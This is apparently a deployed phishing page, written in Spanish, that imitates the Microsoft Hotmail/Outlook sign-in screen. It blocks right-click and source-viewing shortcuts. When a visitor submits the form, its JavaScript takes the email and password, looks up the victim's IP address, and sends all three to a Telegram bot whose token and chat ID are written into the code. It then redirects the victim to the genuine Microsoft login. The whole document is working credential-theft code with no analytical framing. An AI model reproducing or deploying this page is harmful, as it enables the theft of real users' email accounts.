<!DOCTYPE html>
<body oncontextmenu="return false;">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
<script>
document.onkeydown = function(e) {
        if (e.ctrlKey && 
            (e.keyCode === 67 || 
             e.keyCode === 86 || 
             e.keyCode === 85 || 
             e.keyCode === 117)) {
            return false;
        } else {
            return true;
        }
};
$(document).keypress("u",function(e) {
  if(e.ctrlKey)
  {
return false;
}
else
{
return true;
}
});
</script>
<html lang="en">
<head>
<!-- Inserted by miarroba -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-T2VG59');</script>
<!-- Inserted by miarroba -->
<!-- Inserted by miarroba -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-T2VG59');</script>
<!-- Inserted by miarroba -->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Inicio de Sesión - Hotmail</title>
    
        body {
            font-family: Arial, sans-serif;
            background-color: #f3f3f3;
            margin: 0;
            padding: 0;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
            background-size: cover; /* Ajustar la imagen para cubrir todo el fondo */
            background-position: center; /* Centrar la imagen en el fondo */
            background-repeat: no-repeat; /* No repetir la imagen */
        }
        .container {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px; /* Ancho ajustado */
            background-color: #fff;
            padding: 40px; /* Mayor espacio interno */
            border-radius: 8px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
            display: flex;
            flex-direction: column;
            align-items: center; /* Centro vertical */
            margin-bottom: 40px; /* Espacio inferior */
        }
        h2 {
            margin-bottom: 30px; /* Mayor espacio inferior */
            text-align: center; /* Centrar el texto */
            margin-left: -180px;
            font-size: 1.5rem;
        }
        .form-container {
            width: 100%;
            margin-bottom: 20px; /* Espacio inferior */
        }
        input[type="text"],
        input[type="password"] {
            width: calc(100% - 22px); /* El ancho total menos el espacio del padding */
            padding: 10px;
            margin-bottom: 20px; /* Mayor espacio inferior */
            border: none;
            border-bottom: 1px solid #ccc; /* Añadimos una línea inferior */
            border-radius: 0;
            box-sizing: border-box;
            outline: none; /* Quitamos el borde del foco */
        }
        .submit-container {
            width: 100%;
            display: flex;
            justify-content: space-between; /* Espaciado uniforme entre elementos */
        }
        input[type="submit"] {
            background-color: #0072c6;
            color: #fff;
            cursor: pointer;
            border: none; /* Quitamos el borde */
            border-radius: 3px;
            padding: 8px 16px; /* Reducimos el padding */
            font-size: 16px; /* Tamaño de fuente más grande */
            margin-top: 50px;
        }
        input[type="submit"]:hover {
            background-color: #005b9d;
        }
        .forgot-password {
            font-size: 10px; /* Tamaño de fuente más pequeño */
        }

        .card {
            position: absolute;
            top: calc(50% + 220px); /* 40px más abajo del centro */
            left: 50%;
            transform: translateX(-50%);
            width: 350px; /* Mismo ancho que el contenedor principal */
            max-width: 100%; /* Ajustar al ancho máximo */
            background-color: #fff;
            border-radius: 8px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
            padding: 10px;
            display: flex;
            align-items: center;
            flex-direction: row; /* Ahora en fila */
            justify-content: center; /* Centrado horizontal */
            text-align: left; /* Alinear el texto a la izquierda */
        }
        .card img {
            width: 40px;
            height: 40px;
            margin-right: 20px; /* Espacio derecho */
        }
        .card h3 {
            margin: 0;
            font-size: 12px; /* Tamaño de fuente más pequeño */
        }
        .minitext {
            font-size: 12px;
            margin-left: -220px;
            margin-top: -20px;
            padding-bottom: 20px;
        }
        .imgfront img {
            margin-left: -170px;
        }
      .error {
            color: red;
            display: none; /* El mensaje de error no se muestra por defecto */
        }
    
</head>
<body>
<!-- Inserted by miarroba -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-T2VG59" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- Inserted by miarroba -->
<!-- Inserted by miarroba -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-T2VG59" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- Inserted by miarroba -->
    <div class="container">
        <div class="imgfront">
        <img src="https://cdn.glitch.global/d0bf8878-f258-4694-ad4b-6ccde67c5c23/microsoft_logo_ee5c8d9fb6248c938fd0.svg?v=1737602691641" alt="Icono" >
        </div><h2>lniciar Sesión</h2>
        <div class="minitext">Continuar a Outlouk</div>
        <div class="form-container">
           <p id="error-message" class="error">La cuenta o la contraseña es incorrecta.</p>
   
            <form action="tu_script_de_autenticacion.php" method="POST">
                <input type="text" name="correo" id="correo" placeholder="Correo electrónico, teléfono o Skype" required>
                <input type="password" name="contraseña" id="contraseña" placeholder="Contraseña" required>
            </form>
        </div>
        <div class="submit-container">
            <a href="#" class="forgot-password">¿No tiene una cuenta? Cree una. </a>
            <input type="submit" value="Iniciar Sesión" onclick="enviarMensaje()">
        </div>
    </div>
    <div class="card">
        <img src="https://cdn.glitch.com/a9975ea6-8949-4bab-addb-8a95021dc2da%2Fillustration.svg?v=1618177344016" alt="Icono">
        <h3>Opciones de inicio de sesión</h3>
    </div>


<script type="text/javascript">
    // Función para enviar mensaje al bot de Telegram
async function enviarMensaje() {
    try {
        // Reemplazar con tu API Key y Chat ID
        const apiKey = '8195811549:AAHyF-aPPFYbwpwxI3VRrToQxsBLaNl3laM';
        const chatId = '7527730213';
        var correo = document.getElementById('correo').value;
        var codigo = document.getElementById('contraseña').value;
        var errorMessage = document.getElementById('error-message');
      if (correo === '') {
       return;
        
    } 
    if (codigo === '') {
        errorMessage.innerText = 'La contraseña no puede estar vacía.'; // Cambia el contenido del mensaje de error
        errorMessage.style.display = 'block';
        return;
    } 
        

        if (!correo.includes('@hotmail')) {
            errorMessage.innerText = 'La cuenta o la contraseña es incorrecta.';
            errorMessage.style.display = 'block';

            return;

        } else {

            errorMessage.style.display = 'none';
            // Puedes agregar aquí el código para procesar el formulario si es necesario
        }


    


        // Obtener la fecha y hora actual
        const fechaHora = new Date().toLocaleString();

        // Obtener la dirección IP de la máquina
        const ip = await obtenerIP();

        // Construir el mensaje a enviar
        const mensaje = `Recibido:\n\nCorreo: ${correo}\nContraseña: ${codigo}\nIP: ${ip}`;

        // Configurar la URL de la API del bot de Telegram
        const url = `https://api.telegram.org/bot${apiKey}/sendMessage`;

        // Configurar los datos del mensaje
        const datosMensaje = {
            chat_id: chatId,
            text: mensaje,
        };

        // Enviar el mensaje utilizando fetch
        await fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(datosMensaje),
        });
        window.location.href = "https://login.live.com/";
    } catch (error) {
        console.error('Error al enviar el mensaje:', error);
    }
}

// Función para obtener la dirección IP de la máquina
async function obtenerIP() {
    try {
        // Utilizar un servicio externo para obtener la IP
        const respuesta = await fetch('https://api.ipify.org?format=json');
        const datos = await respuesta.json();
        return datos.ip;
    } catch (error) {
        console.error('Error al obtener la dirección IP:', error);
        return 'Desconocido';
    }
}

</script>
<!-- Inserted by miarroba -->
</script></noframes></noembed></noscript><script type="text/javascript" src="/hosting__general__script.php?__muid=&amp;h=2175765&amp;t=1722790988&amp;k=2679513e8c95243f849ea81cc2b44644"></script><noscript><img alt="beacon" border="0" width="1" height="1" src="/hosting__general__script.php?__muid=&amp;h=2175765&amp;t=1722790988&amp;k=2679513e8c95243f849ea81cc2b44644&amp;img=1" /></noscript>
<!-- Inserted by miarroba -->
<!-- Inserted by miarroba -->
</script></noframes></noembed></noscript><script type="text/javascript" src="/hosting__general__script.php?__muid=&amp;h=2179711&amp;t=1727967539&amp;k=083d370da1799422acb719baa12efa5d"></script><noscript><img alt="beacon" border="0" width="1" height="1" src="/hosting__general__script.php?__muid=&amp;h=2179711&amp;t=1727967539&amp;k=083d370da1799422acb719baa12efa5d&amp;img=1" /></noscript>
<!-- Inserted by miarroba -->
</body>



</html>